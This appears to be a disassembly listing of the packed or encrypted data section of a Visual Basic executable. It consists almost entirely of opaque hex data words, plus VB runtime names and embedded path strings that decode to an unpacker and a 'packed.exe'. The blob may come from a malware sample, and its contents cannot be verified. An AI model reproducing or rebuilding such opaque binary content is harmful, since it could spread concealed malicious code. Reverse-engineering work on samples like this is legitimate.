dd 0E27BBD7Ah, 0B0E41DEFh, 0A229906Dh, 0AD5F02FBh, 95347F1Ah
dd 6AB55067h, 0B01E81Fh, 99D621BCh, 9C6DDEDAh, 12EB8A25h
dd 65A51CA3h, 8B72F128h, 9A074473h, 0DFE1E9D2h, 0E786216Ch
dd 8BF4B16h, 4EF736BDh, 4191CE77h, 0A77EBBFFh, 8DC45F56h
dd 26635AA6h, 5888ADB9h, 0F5C0DB3Ch, 6D54B198h, 11A05930h
dd 472AE38Ah, 0DE9B18BBh, 3E4C810Ah, 0C20DA8F3h, 0CB3DDC77h
dd 0E1FC59F4h, 0B3BE4F16h, 0EC236E59h, 0EB7E0F43h, 54201CCh
dd 0F45E0746h, 22903451h, 9232B112h, 63422396h, 7BE4F26h
dd 3296Ch, 0DA050000h, 239A6DB6h, 0A110E988h, 22956706h
dd 0A213E887h, 249D6807h, 0A61FEA89h, 239A6C0Bh, 0A61DE988h
dd 259C6C0Bh, 0C968FA8Ah, 89000071h, 0A468243Ch, 8900003Eh
dd 868241Ch, 8900002Fh, 5351242Ch, 5771BBh, 5BD98908h
dd 5459CB89h, 83242C8Bh, 0B85004C4h, 8, 854A732Dh, 5E8016Ch
dd 6C854A73h, 8B581889h, 8951242Ch, 4C181E1h, 81000000h
dd 4C1h, 240C8700h, 2434FF5Ch, 4C4835Bh, 0FAEE9FE9h, 0A8A21CFFh
dd 6619B897h, 0C5030800h, 3A09E0FFh, 5FEB2C01h, 0E2F8101Eh
dd 86A757BAh, 24EA623Dh, 0C27548FCh, 97103BDh, 44A85F20h
dd 0EDDC0AAAh, 347942B3h, 595D7236h, 15257D89h, 0A32B2046h
dd 12E81529h, 2D000000h, 0CF6D753Eh, 0EF4C9E79h, 0F03F36D2h
dd 0A1895216h
dd 0CE816667h, 665A307Fh, 0AD38E081h, 6C16C281h, 0CE80000h
dd 0E8000000h, 14E402BAh, 0EE3729F7h, 66C16E83h, 63EC881h
dd 0E56DBB58h, 0C3810257h, 0FDA8356Ah, 880F50h, 58000000h
dd 8E0F0A8Bh, 4, 0EA04BF66h, 0B488C181h, 0C28B3BECh, 70A1C181h
dd 0BF0F74BBh, 0B0C181F2h, 0F3E53CCh, 589h, 1A09BE00h
dd 605113DDh, 0C850Fh, 7E90000h, 6B000000h, 0E3EE57C5h
dd 10E95490h, 0DD000000h, 0D0536650h, 0AEB82D8Fh, 4BE88E07h
dd 6139D52Fh, 8150028Fh, 0CFC824EEh, 0EA835F62h, 1EB8304h
dd 0FF92850Fh, 0B70FFFFFh, 161E9C0h, 2B7B0000h, 60DD41E9h
dd 3A437C83h, 755F6D5Ch, 6361706Eh, 72656Bh, 6B636170h
dd 652E6465h, 6578h, 3Ah dup(0)
db 0
align 2
a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain db 'ThunRTMain',0
a__vbavartstne db '__vbaVarTstNe',0
align 4
dd 0E9000000h, 1A85h, 6AAC68h, 15FEE908h, 0B668FFFAh, 0E908006Bh
dd 0FFFA15F4h, 6CA768h, 15EAE908h, 6568FFFAh, 0E908006Dh
dd 0FFFA15E0h, 6DA468h, 15D6E908h, 8968FFFAh, 0E908006Eh
dd 0FFFA15CCh, 6EF068h, 15C2E908h, 4868FFFAh, 0E908006Fh
dd 0FFFA15B8h, 761468h, 15AEE908h, 0A568FFFAh, 0E9080076h
dd 0FFFA15A4h, 775068h, 159AE908h, 1868FFFAh, 0E9080078h
dd 0FFFA1590h, 78A368h, 1586E908h, 6C68FFFAh, 0E9080079h
dd 0FFFA157Ch, 79EF68h, 1572E908h, 7568FFFAh, 0E908007Ah
dd 0FFFA1568h, 803F68h, 155EE908h, 5068FFFAh, 0E9080081h
dd 0FFFA1554h, 81E668h, 154AE908h, 0C650FFFAh, 1DF5A2D8h
dd 779E4B81h, 0CB44F127h, 21F09DD3h, 5E13477Dh, 0CC029C75h
dd 73A9F51Fh, 1E544AC6h, 0C6FCA271h, 20839FF7h, 4607E6ECh
dd 6CA729E0h, 0D142A732h, 533697CDh, 0C7617D0Dh, 0DB07E0ADh
dd 6BD4CA46h, 0AD4DB4E0h, 0D65707E0h, 19F84D1Ch, 0D70FDF85h
dd 75406EB4h, 37h, 0CA96F306h, 9C501E3Ah, 0F54E07E0h, 0FAF01A6Ah
dd 38F3DC3h, 62C93DE3h, 6C07E0FDh, 0D6231EBh, 0E40D9806h
dd 0EDEFAA6Ah, 0B85E720Ah, 6F77B0E8h, 0C34E40h, 0A7DF0000h
dd 42A7326Ch, 0DF44CFCFh, 8FDF6A34h, 1DC3DB3Ah, 0C5FBA370h
dd 6ED1ED2Dh, 94FFE683h, 8B13FFh, 54C86ED7h, 0FFE68739h
dd 59BCD818h, 87FFE687h, 138B892Eh, 4B53C06Dh, 0F3AB6815h
dd 263A4F68h, 0A7DC7A96h, 0B10A07E0h, 0F16F1A7Bh, 89024561h
dd 0D7300FDDh, 431FF247h, 1C45D0CEh, 41D07DB3h, 20289F5Dh
dd 0F02B9998h, 181951h, 0DBC35300h, 841AF8A5h, 2A74A14Eh
dd 0D6C847F4h, 801EF3A0h, 7A61164Ah, 24D10797h, 0CB78AEF0h
dd 76235945h, 0FCCB019Dh, 0ED2588A4h, 0E54B07E6h, 346AA72Eh
dd 0A2C04FA4h, 7DA6316Dh, 0BA608914h, 5A44CF7Ch, 0DD9A75CAh
dd 0E6835EC1h, 0C22B84FFh, 2A680E37h, 8E96F373h, 668F1A84h
dd 83516DFDh, 9F07E09Bh, 288FBB46h, 3207E09Bh, 0B8F0F7B1h
dd 56406EA7h, 0E0h, 326CA7E7h, 0CFCF42A7h, 87FD1844h, 0D43FFFE6h
dd 0F5103ACAh, 21EF3876h, 0C75F9D43h, 1B086B87h, 0D52EFFE7h
dd 0D191822Fh, 6AF55E40h, 0E5013851h, 0FFE71B82h, 0ABC757B0h
dd 0FFE71B48h, 1CAC156Eh, 0E13C6200h, 0E4008007h, 7E13B81h
dd 271245AFh, 51EDFD55h, 0E8497FE8h, 52FBFA1h, 0DC5D1F1Ah
dd 0F28A3030h, 184088B2h, 37E90A83h, 0E0E2B81Bh, 1C85DE07h
dd 0C1AE0276h, 23B80FDDh, 0B343ACF2h, 0B5EBB35Eh, 0D7950908h
dd 999866F6h, 0F7F1E59h, 5D000017h, 2AFE5B9h, 0AB588E10h
dd 51FE346Ah, 0FDAAE0BEh, 20548A14h, 118D846Bh, 0B8E62EDBh
dd 633BD582h, 0B93802Dh, 92AE06D5h, 7E6EE2Fh, 0BC38EF55h
dd 661A2392h, 0B258CD04h, 0BA560C05h, 0CED03FE4h, 8F80D565h
dd 7E2B690Fh, 1CD30995h, 35F792BCh, 0A6A2523Ah, 0DEC05300h
dd 59B90E4Eh, 9B76D945h, 0DA38FFE6h, 0CF1039C4h, 0D83DD076h
dd 0CC2D633Bh, 0E913A3BDh, 0D82AA3E7h, 3ABD1BC5h, 6849711h
dd 0BCE233D8h, 0CA620831h, 0E123F4AEh, 0D23DD207h, 0B5E927CCh
dd 0D98012Ah, 0E0DB7AE1h, 49038407h, 6EE30A42h, 9DA840h
dd 7B390000h, 90D0B963h, 89E2E400h, 77D007E0h, 3141D63Ah
dd 5633DC7Bh, 8C5E7A0Ah, 9ADB4144h, 0EC9DB641h, 0B3877063h
dd 2D960142h, 9DF7819Dh, 92EBDC7Eh, 3866AD02h, 0E0BE5502h
dd 0F932B122h, 0C05F9A4Ah, 161Eh, 0A0D6C84Eh, 497F1FF3h
dd 0EF25799Ch, 9BD1CD42h, 457B23EEh, 9E735C11h, 0F71DCA00h
dd 4CC471A7h, 0A46F1C52h, 9DF5C4FAh, 0E6EF1E81h, 27DE4407h
dd 0EF0B6CA7h, 0FFE6838Ch, 68F861BAh, 98ED553Eh, 45EB6897h
dd 60D62B2h, 0F891F298h, 2BCD868h, 0E007E187h, 7B9A5187h
dd 0ED428263h, 0C5EE7925h, 0E682F659h, 1DC31CFFh, 506CCDBCh
dd 0FFE682EDh, 0C151BA13h, 4FF5A96Ch, 89999BB7h, 0E43D07E0h
dd 84D243A7h, 8DFC8F09h, 0BB247A97h, 0A03D0F2Bh, 106988B3h
dd 431D6C85h, 30D97B3h, 4998F0Dh, 1B4B7C11h, 2AF4D68Eh
dd 73C858C1h, 1BC8FEA0h, 0F5E8A6F8h, 56194B8Dh, 15607C1Bh
dd 0A0C0000h, 61B15E94h, 0BB5A073Dh, 0F00ADE3h, 65AC598Fh
dd 1ACF0339h, 88BEE031h, 2F6539DBh, 0DA108E82h, 82B8E62Dh
dd 0DC3F5BB3h, 0A07E6F0h, 6CA7EDA4h, 0E66B7432h, 9DD8999Eh
dd 1521FEh, 0D3CB4B00h, 7C22F09Dh, 227C9946h, 0CED03FECh
dd 7826EB98h, 72590E42h, 1CC9FF9Fh, 0C370A6F8h, 6E1B514Dh
dd 0F4C3F9A5h, 0F01D809Ch, 0DD4307E6h, 326CA726h, 65FB8EA7h
dd 0A663B9D5h, 166F07E0h, 0C21A5C86h, 8440305Dh, 0BEC7A0DEh
dd 5BEB7514h, 0BC580A06h, 0C5EE79E2h, 3A9F520h, 3F4D4F6Bh
dd 0D52A0FDBh, 0E7C7503Dh, 0DE838A0Ah, 5A44D075h, 0AA016BB4h
dd 2BEAED1Bh, 0F045D53Eh, 0D6395522h, 0FCFFE725h, 4F943AA3h
dd 8FDDD6EBh, 0B75CB19Ch, 0D83B57E7h, 0FE9C8E9Dh, 0EB9EFFA5h
dd 2EBBE575h, 0BD871BAh, 0D2EE862Ch, 0A4892600h, 2942CD26h
dd 54700060h, 0A336C8CAh, 0CFCF43D8h, 22B21B44h, 26D0B8E2h
dd 891B3513h, 0C1DD36E3h, 72D5F131h, 0A09C9614h, 0B663A147h
dd 7283415Dh, 0DD053177h, 143C03A2h, 0E6300000h, 3DD582B8h
dd 977E2B61h, 0EB24D107h, 41D07DB3h, 3EF3275Dh, 0ACE2BC55h
dd 538915FFh, 0FE346AA6h, 0A6DCC251h, 637FD7h, 2607E6F1h
dd 7DE009C0h, 54FFE683h, 8395F814h, 62BBFFE6h, 92E148BCh
dd 7DE4FFE6h, 5CFFE6A3h, 839D001Ch, 6AC3FFE6h, 82E950C4h
dd 60B3FFE6h, 0E68B803Eh, 95D0999Eh, 13D5F6h, 1F7F9700h
dd 0C8D63CE9h, 6E30E592h, 1A848B38h, 0C4DA37E4h, 0BEA55A8Eh
dd 68154B53h, 0FBCF2ACh, 0BA679D01h, 400F4559h, 0F169CCE8h
dd 319707E6h, 0A867BC7Ah, 9AEF50F6h, 301A36C6h, 0B607E098h
dd 0A6EC634Ch, 5FB4C99Ch, 228BB43Fh, 0A60EFBB9h, 6419E64h
dd 137D67h, 7727EF00h, 207E9441h, 0C6D83DEAh, 722CE390h
dd 1C828F3Ch, 16FDB2E6h, 0C06DA3FBh, 67144A54h, 12BFF5A9h
dd 98679D01h, 0F2C12440h, 89EF07E6h, 607CBCD2h, 0FFE682FDh
dd 7724CA23h, 1277029Ch, 14129D01h, 0DA1AE9A3h, 0E6835BBEh
dd 8A3089FFh, 748B82BAh, 1F2038h, 0E0B10000h, 0FFE68379h
dd 98CED043h, 42093C24h, 0A7F78200h, 3CE1BD52h, 3920C6D8h
dd 1306h, 326CA7D2h, 65FB8EA7h, 0E7BDABD5h, 0E16BCEEAh
dd 4099FFE6h, 827C2EC6h, 462844DCh, 6C07E18Ch, 26598313h
dd 822E692Eh, 3D9EDC82h, 5A84144Ch, 1EEB5AA8h, 34CC72E9h
dd 0DAFA8A18h, 34BF180Fh, 153146CFh, 0FFE6CBB2h, 8E1E87E0h
dd 1DC3DB39h, 1DF247DFh, 27CDF681h, 0E6CB4DB3h, 65FD15FFh
dd 4069F4AAh, 0CB3194B0h, 65FFFE6h, 58BA679Dh, 0BC56BB46h
dd 0A3B57E2h, 0F8A66C50h, 0D7BAF2C2h, 19583874h, 8000002h
dd 0DBB398DEh, 13FC38E4h, 0C57C228Bh, 3ACA96F3h, 0E0A65C1Eh
dd 2FE63B07h, 15BBE46Fh, 0ABE362CCh, 92FA3E26h, 0F383E602h
dd 58B107E0h, 90A5FEFh, 0F75CEF95h, 0A04D831Bh, 86E90572h
dd 0AC07E0F3h, 335FEA53h, 7E103CCh, 0D8BC76B7h, 0CD2E643Ah
dd 0F814A4BCh, 0FDAE47Ah, 1F840F68h, 0C976ACF2h, 0A3FB1A48h
dd 1E83AF3Ah, 5FFE6E3h, 0EE516DADh, 14FFE6E2h, 0DA9415BBh
dd 3F5FB60Bh, 38E58BB4h, 0F78FC5D9h, 0E3389BB7h, 16FAFFE6h
dd 93D4FD88h, 227C953Ah, 67C86E97h, 92AE3E22h
dd 7E1181Ch, 0CB2E4ACAh, 9507E0D7h, 7099247Ah, 0E26DD62Fh
dd 0D208967Dh, 702EE53Ah, 0A8F61DCAh, 0D78EF11Dh, 307107E0h
dd 1D819276h, 0C6D83AE7h, 263CD63Bh, 0C04BB4EAh, 1C5CA4h
dd 7E0D79Dh, 43C46AC3h, 316DA589h, 0E2F32BFBh, 0AC91406Eh
dd 22000000h, 47236AA7h, 2C028AEAh, 0FD62ED56h, 78396314h
dd 3284BB27h, 2B096CD8h, 0DE37FFE7h, 86CEEA75h, 40BAE431h
dd 378CBB49h, 64E58B39h, 534BC6AAh, 3A154D1Dh, 70B33875h
dd 44000000h, 0FD607CBCh, 23FFE682h, 9C7724CAh, 0E7277702h
dd 0E68368CBh, 8F358EFFh, 0E26D31E2h, 810C927Dh, 1EA9F51Ch
dd 1A9638Ch, 11D5DA5h, 0FFE6839Eh, 44C56BC4h, 316DA68Ah
dd 8AF32BFBh, 2C913874h, 22000000h, 3ACA96F3h, 0E0B8A81Eh
dd 52DD3607h, 0E0B7BF26h, 138B8907h, 0B1ED2388h, 0F1ABD426h
dd 0A963E449h, 6EBF6AA2h, 7E0840h, 0BC990000h, 6AF5A967h
dd 4F3A9B41h, 0F658111h, 0EC07E0B8h, 7A207E97h, 2B739C31h
dd 830E77A0h, 74D7F333h, 0A207E0B8h, 1CF6A349h, 739F4C82h
dd 0D73BA02Bh, 0EF203CC7h, 0DDC15135h, 0C49FD7A7h, 2C3D406Eh
dd 0CE000000h, 37C799F3h, 0E683981Bh, 5AE53E7Fh, 0E683C72Eh
dd 813B647Fh, 31C1A3E9h, 0E6819215h, 57E740FFh, 0EB910D02h
dd 0EC6ADh, 0BC5F0000h, 66F1AD67h, 41B0973Dh, 49000000h
dd 0A5306EA7h, 96CCD240h, 0EA7529E9h, 16A6BED1h, 8357BAD6h
dd 0F919FFE6h, 0B0F11AA5h, 7844DD57h, 9F774B87h, 0D23A66F9h
dd 0F0FFE770h, 76AEB56Fh, 5D3873A1h, 7920C08h, 0F95738DEh
dd 0E800000Ah, 0FD607CBCh, 23FFE682h, 0B1ED25CAh, 0F657FD26h
dd 1844CF99h, 8991B82Ch, 2D4FE96h, 0B0132FDCh, 0D68991D5h
dd 0FF07037Dh, 1DA8F61Fh, 64E58BF4h, 6BA3AAh, 4009C220h
dd 9A000000h, 0FD607CBCh, 23FFE682h, 49D550CAh, 0DB098718h
dd 0B1BBD435h, 2A20521h, 77D0FFE7h, 0CFFFC0ECh, 40C1A95Ah
dd 358DB786h, 0DAC44D3Fh, 0FB91E360h, 7A208915h, 0E79772AAh
dd 25710E1h, 0F3A10000h, 0DA15C49Ch, 900E055Ah, 7F36DC05h
dd 1AF66CA7h, 22C4DF73h, 4FB82364h, 1C40A3BFh, 0D66FFE7h
dd 680FF5A4h, 0F0AE67BCh, 83327A4Ah, 4DD03774h, 80000000h
dd 2CB7E72Bh, 0B87C8F2h, 9F084BB4h, 9CF342F9h, 0A0BC15C4h
dd 0FFE6833Ah, 0BC600F68h, 306EA75Dh, 0D6C84BA0h, 6F2FE64Bh
dd 0AC52BBE4h, 0BC4AA9F5h, 62F2AC67h, 0E682E346h, 12B811FFh
dd 362Bh, 838EE300h, 36C32DFh, 0F2A94F78h, 15C49CF3h, 833AA0BCh
dd 2D46FFE6h, 0D992BC7Eh, 4AE71C5Fh, 9EFD953Bh, 0A0306EA7h
dd 82E14460h, 7A0FFFE6h, 0F79D0698h, 0E04AA940h, 9C34F737h
dd 132F48C9h, 9C34F6B0h, 0DE147DD6h, 4ABCE231h, 0A8315CB5h
dd 33F7EB5Bh, 0DB70E24Bh, 79DE6935h, 1F78039Bh, 0F842CE6h
dd 23F0D48Eh, 0A2C1EB7Bh, 7AA1E518h, 6D0A4FF5h, 0F53BCA6h
dd 0A9349D01h, 25A51780h, 40D4FDFBh, 52F809A4h, 0A7102179h
dd 580A09EDh, 335CE7B7h, 23F08DCAh, 5F89097Bh, 2DA38E60h
dd 2EDB8137h, 3052B8E3h, 27809C35h, 78B850B5h, 22ADF123h
dd 302A8DF9h, 0FF589C35h, 3A1ED859h, 0EB88C5D9h, 5CED7826h
dd 0EBA5E60Dh, 5E940A07h, 0FDA171C6h, 3569AA57h, 0B8E32EC3h
dd 9C353052h, 68B52780h, 7A997D37h, 0D13F9424h, 731942CDh
dd 957CA62Eh, 20CD883h, 60DBA60h, 61B30898h, 227C983Dh
dd 2D82027Ch, 0E2ABAE4h, 9C34FBABh, 1DA80D9h, 0EFA912A6h
dd 5996080Bh, 0B74757BCh, 0F0CDAD8Dh, 6F154AC1h, 754B75F5h
dd 295FB875h, 0B1600DB3h, 95167BEDh, 821CF7DBh, 6CA79E45h
dd 3BDA8332h, 0F0AE67BCh, 0B0A3E94Ah, 1014F8h, 30ED249Eh
dd 0F29D841h, 833C8468h, 2ADA3774h, 6B000000h, 18C799F3h
dd 0F4AA67BCh, 29A4069h, 0E68380E6h, 0A655AEFFh, 6BA75DBCh
dd 67BC8433h, 416AF5A9h, 6D91F09Bh, 49h, 607CBC06h, 0FFE682FDh
dd 0A8C8B923h, 48BEF40Bh, 0B4D839DFh, 7CBC03B2h, 0C8988552h
dd 32D80984h, 0E70258BEh, 9C4B64FFh, 0E9277CBCh, 9F089679h
dd 3F5BEB14h, 0FFE683DCh, 540BB10Ah, 84336BA7h, 0FC1469A9h
dd 48EE17A2h, 94A4E091h, 0BB9AFFE6h, 0FFFFFD30h, 8379E054h
dd 8FFFE6h, 5A9A3268h, 0E683DB3Eh, 336BA5FFh, 0E53E7FA8h
dd 83D63955h, 0A3FCFFE6h, 9DC550FDh, 38C32C72h, 0E683A90Ch
dd 631D46FFh, 0D208967Fh, 7BB1ED25h, 65F0721Ah, 3CD71F39h
dd 0C7079F42h, 3CD648ABh, 6F156E42h, 0F52D34EEh, 937ACADDh
dd 1EFh, 837AE024h, 0F990FFE6h, 3DBBD767h, 0A907E0A1h
dd 0A86D1A50h, 0DB1B6BF6h, 0E0A05CBFh, 44035107h, 4C88F846h
dd 6E38B20Bh, 8B3B1ABh, 5EB46107h, 0C250B540h, 513851DCh
dd 15637F0Fh, 110FDB2Ah, 0B115FAB8h, 0FB36999Eh, 0CB15Ch
dd 435BBB00h, 0ECB2600Dh, 920C09B6h, 3E60AF5Ch, 0E8B65B08h
dd 0E2C97EB2h, 8C396F2Fh, 33E01688h, 0DE8BC1DDh, 64336935h
dd 0F98DF00Ch, 4DB307E6h, 0F66CA796h, 8C17801Eh, 0BA4A1673h
dd 0E6EBFF9Eh, 0B4449D07h, 63EEB05Fh, 0EB94F713h, 69C207E6h
dd 9A68600h, 2ED7DAE9h, 7A9BF088h, 0D441EE24h, 7E653BB9h
dd 7692AE65h, 7E6A713h, 167FE841h, 0B1ED268Bh, 0A87C0D26h
dd 7E20F56Dh, 1CAC15h, 0FE0CFCEh, 0AC7D3B94h, 0AF9664EAh
dd 0C20D574h, 0CA4C0000h, 21F19ED4h, 7B9A477Dh, 0CF40ED23h
dd 25EC99CFh, 5A0F4379h, 0C8FEA071h, 6FA5F91Bh, 1A504EC2h
dd 0C2F8A66Dh, 1C7F9BF3h, 4A07E6F9h, 6CA72DE4h, 1B841AF6h
dd 12127790h, 0E7109B03h, 0A0D2EE7Eh, 7707E08Ah, 23AEF022h
dd 68C525E9h, 55BE1E6Ah, 0D70D66AFh, 7FB5E92Ah, 65F56B1Eh
dd 0E17FB549h, 0F888E10Fh, 4A7F07CEh, 0BD63530Fh, 5945D025h
dd 0FF9F7623h, 9A040F74h, 6E8ACA0Ah, 0FE14C0Bh, 1174E039h
dd 60FE14Ch, 4A61EB1Eh, 45D9EFBh, 0D7B2CB5Eh, 0ABDDF989h
dd 0B717DB1Ch, 0BFC3A05Eh, 8DC8919Eh, 0B75EEh, 7F1FF700h
dd 28769C49h, 0CED045F2h, 7A24EB98h, 247A9744h, 1E05BAEEh
dd 0C875ABF3h, 6F1C524Ch, 1AC7FDA1h, 0A06FA5F9h, 0FAC92C48h
dd 91F707E6h, 326CA7DAh, 100257A7h, 34DA038Eh, 0A699B6D3h
dd 3A46E92Ah, 85A1319Ah, 7E13973h, 117490D0h, 3F07E139h
dd 9EF740E6h, 4757BB68h, 0EDB16411h, 4ACA1FB7h, 0F3F7AE54h
dd 0E53ACA96h, 0BBE46F2Fh, 0E83D7D15h, 0BFE8732Bh, 0AA2FA519h
dd 429B07E0h, 0A9248BB7h, 0AD2E07E0h, 40CF24F3h, 4AAD35Eh
dd 6EB4FC34h, 7C9A40h, 0A72B0000h, 43A8336Bh, 0DF44CFCFh
dd 93E36E30h, 42CDD13Eh, 4CC67319h, 0CEBB1C52h, 74E60292h
dd 6207E091h, 0EB864B09h, 2E699E64h, 0AAD8Fh, 4757BF00h
dd 0F0AE6411h, 96080DBAh, 425CB360h, 0ECB25F0Ch, 0E6CD82B6h
dd 903D732Bh, 37E41A84h, 0E28FC5D9h, 68376D31h, 0FB91F410h
dd 59BF07E6h, 226BA7A2h, 0EC0ECACBh, 8F0F0463h, 0A087BD26h
dd 78h, 0FEE2E58h, 0A7CA5331h, 6BA74A01h, 838DF00Ch, 5AB3FFE6h
dd 3C4D66F1h, 38549424h, 0FFE683D5h, 2D28A2FBh, 0CBBE70DFh
dd 0B8D46C12h, 7E0ED6Ah, 6ACDE929h, 9807E0EDh, 0F750993Fh
dd 648C7E39h, 73124D9Eh, 0A22h, 9CD2CC4Ah, 457B23EFh, 0EB217D98h
dd 97CDD13Eh, 417727EAh, 0A26F580Dh, 0FB19C6FCh, 50C06DA3h
dd 0A86B184Eh, 99F1C0F6h, 0E6FB1A7Dh, 2BE24807h, 0A2326CA7h
dd 4FDAC44Dh, 88ED8026h, 2388138Bh
dd 0BD22ADF1h, 67C04B53h, 8ECC742Eh, 245C631Dh, 0C238748Bh
dd 1E1h, 0E9937B53h, 1430C0A0h, 7E08A12h, 82D767C0h, 21660C92h
dd 7831F9BDh, 3A5696FBh, 0F45431D7h, 9DFEA4FDh, 8FE474ECh
dd 0DA721886h, 0D4CA459Ah, 53CCBA2Eh, 851AFC4Eh, 1E940E90h
dd 47C7611Bh, 0E27B21Bh, 1555E57Bh, 0A54B53C0h, 7BE5A731h
dd 69A63BFBh, 0E73CCC35h, 8DE2722Ch, 68911C82h, 3CD784C2h
dd 0FB9DA462h, 73AE6DF4h, 959D4h, 9B031300h, 445AB865h
dd 0EAB4610Eh, 960807B4h, 405EB360h, 3A21D60Ah, 0E491C7D7h
dd 8B386E30h, 36E31985h, 0BC8BC1DDh, 0FBE54864h, 0A50B07E6h
dd 336BA7EEh, 66FA8FA8h, 0EBE4BAD6h, 99F207E6h, 3E60B409h
dd 0F71B7008h, 81B93E96h, 0D53E7BEAh, 0C92822Fh, 3F216881h
dd 783D93AFh, 10690FE1h, 0B5E92B80h, 11BDE77Fh, 0C24A543Ah
dd 0C94BF89Eh, 0BC257999h, 5747CC31h, 64DEB299h, 0BF5E9996h
dd 8D6h, 0E81E8096h, 91C7D73Bh, 376D31E4h, 0E319858Ah
dd 8DC3DB36h, 56BBA459h, 0AF651248h, 40CB9EFh, 5CB7649Ah
dd 0E53D0C42h, 0E6FC66C9h, 6F268C07h, 836DC8F4h, 0D902FFE6h
dd 56AB331Fh, 0D93AE0BEh, 420B0B0h, 7E086AEh, 0D0CE47DCh
dd 0AA916756h, 1F880434h, 14254F8Fh, 0C79573Fh, 9B7A27CDh
dd 1D6CCD03h, 0BA97B343h, 0E40FDDD8h, 66BBFB8Bh, 0A24FF5A9h
dd 4AF72D71h, 3A17D5C9h, 0D9998B7h, 85033D2h, 0FA1C0000h
dd 51C16EA4h, 0AB6A174Dh, 0FF10BDF3h, 55BC699Fh, 2ADF1349h
dd 98CED041h, 3F7529EBh, 0EA207E92h, 92C8D63Dh, 0EC4F6BC3h
dd 1A07E6FCh, 79E0FDB4h, 43FFE683h, 3798CED0h, 627E0E52h
dd 7E0D261h, 2E34DF34h, 62FBAE4h, 55AEF79Dh, 0FEA070C5h
dd 0A9F51BC8h, 728ECE1Eh, 7E0D20Fh, 4F36DC35h, 7EAh, 0B996F3E8h
dd 0CEFEFFBBh, 967D2261h, 0EB547D08h, 79C13F5Bh, 0C41D07E1h
dd 0D8940A34h, 2D4ED9D7h, 7AA4F487h, 0DCDF509Ch, 848B309Fh
dd 9900741Ah, 0A307E099h, 29616822h, 0C7406EA5h, 18Eh
dd 0B81B3777h, 0DE07E08Dh, 6E30E085h, 5D14BAE3h, 0F1AD67BCh
dd 8C120166h, 40D07D23h, 0A55E624Dh, 157EA92Ah, 0BFDF3085h
dd 0D2650B34h, 5B075882h, 0C05A6C4Ah, 0F7A76D1Ah, 920C076Ch
dd 306EA207h, 0DBC34DFAh, 0D7D60050h, 0FBC81A42h, 36C32E0h
dd 0D48EFC5Dh, 0F5FD2844h, 3F94FFE6h, 1C8292D0h, 6BC40DB3h
dd 6B254EE0h, 0D5048987h, 0EFB818E4h, 0D56DA30Ch, 0E9167995h
dd 0E33CFFE6h, 1E80903Dh, 0E9F86793h, 1555FFE6h, 0C14C52C0h
dd 0B771F298h, 2B613DD3h, 12A2C0CAh, 0B5CA8D2h, 4A77F69Fh
dd 71D530A4h, 92EBFFE7h, 43A6C202h, 71FFE771h, 7ADF7218h
dd 21CE049Ah, 0D020ABF3h, 71117490h, 0E63FFFE7h, 0F7809340h
dd 0E77178DBh, 0B5459EFFh, 0E7713699h, 9A035CFFh, 260B50Ah
dd 0DC05900Eh, 0A83ACD73h, 33E1C57Fh, 8C88356Bh, 0E2378712h
dd 69CA702Eh, 70B04020h, 17BDD446h, 1BC14C6Dh, 0E16D25A7h
dd 2389107h, 54DFBF55h, 45A8C404h, 6B07E168h, 7F0B6C12h
dd 0D63551E1h, 0B507E168h, 67F65975h, 0C31C07E1h, 0F07BD41Dh
dd 89148A8Bh, 28B3EB24h, 0BB36D96h, 72561039h, 2EC6FCA2h
dd 0DA6539D9h, 0B65E0BB1h, 45445DE8h, 696F8B1Bh, 550FDB92h
dd 0FB19C6FCh, 0FCE913A3h, 52833F1Fh, 99247A9Bh, 0B1620770h
dd 5C0947EDh, 55AEAB4h, 0EB4E6A0Dh, 19FFE74Ah, 60B257C0h
dd 0C25A983Eh, 1476D198h, 3ADABDC2h, 47B0D964h, 96F3EAA1h
dd 0D0FA3ACAh, 1AC6C883h, 54C86EFCh, 7E10B72h, 8816FC51h
dd 0E52ED4FDh, 769C018Ch, 0F33BF228h, 0EC3CC799h, 95207E97h
dd 0EB52C66Ch, 0F5FFE682h, 7BB3BA74h, 1938748Fh, 22h, 29C74C9h
dd 6BA7A55Ch, 197CA833h, 0B6FFE683h, 23EFD38Dh, 0AED1457Bh
dd 0ACFFE6A8h, 0FFFFC2CDh, 6CA766FFh, 0F5801EF6h, 0C1B463CCh
dd 0C799F352h, 845F1618h, 3774833Ch, 3BDAh, 0DD358A00h
dd 0F3641BC1h, 0BC18C799h, 82FD607Ch, 69EAFFE6h, 0D837ACA8h
dd 4BF14A8Bh, 0D13497B3h, 962FFE6h, 37CC4F79h, 0F4ACA00Fh
dd 5DBC974Eh, 84336BA7h, 166D4AA9h, 6000000h, 18C799F3h
dd 833DA0BCh, 2841FFE6h, 0A75DBC79h, 0A984336Bh, 306EA74Ah
dd 831679A5h, 82ABFFE6h, 6D31E4C8h, 93D3C337h, 0BDDAFFE6h
dd 4FD40098h, 0C9E0BF28h, 79FFFFF4h, 0FD336BA7h, 0E373ED9Ch
dd 832487A3h, 0F952FFE6h, 259FBB53h, 0C107E0B7h, 0B6C22541h
dd 97F007E0h, 1077A32Eh, 1A07E0B6h, 0E610DF99h, 0B2C80F85h
dd 7BD4F5F0h, 0E85C9417h, 7646057Fh, 2C18D889h, 1A7EB686h
dd 1065406Fh, 14F59B03h, 0Ch, 66DA5h, 0D0250000h, 0FEB55B43h
dd 0F6A867BCh, 3B9C426Bh, 4282124Eh, 17B23EDh, 648D964Ah
dd 9E12B8B2h, 7E0C310h, 65A5358Eh, 0E0C1E649h, 0DB30C07h
dd 0A1FD157Ah, 0C35EF76Bh, 0EC2407E0h, 41CF7CB2h, 0E441D25Dh
dd 6635EF68h, 0A9F3663Ch, 0A84EF7FAh, 538915FBh, 0BF316DA6h
dd 80E3FF3Fh, 0A607E0F1h, 19FAA74Dh, 977E1385h, 0FD177C07h
dd 0C9FA16A1h, 71F2670Fh, 39BEE8B7h, 86557C6Ah, 0FD122FA9h
dd 836F2F55h, 0BBE330DDh, 5F3FD62Bh, 0C005ABD4h, 834C8419h
dd 0CDEA37F4h, 9A000000h, 83DB3E5Ah, 9EBAFF66h, 0FF66833Bh
dd 76CF1069h, 0B95F3FD1h, 0C997F302h, 3AA0BC1Ah, 46FFE683h
dd 5DBC7E2Dh, 0A72513D3h, 0BC83326Ch, 4BF1AD67h, 99F349B8h
dd 5F1618C7h, 74833C84h, 45DA37h, 0F36B0000h, 0E237C799h
dd 0FC66C32h, 833DA0BCh, 0BF14FFE6h, 99C24D51h, 0A251AAF3h
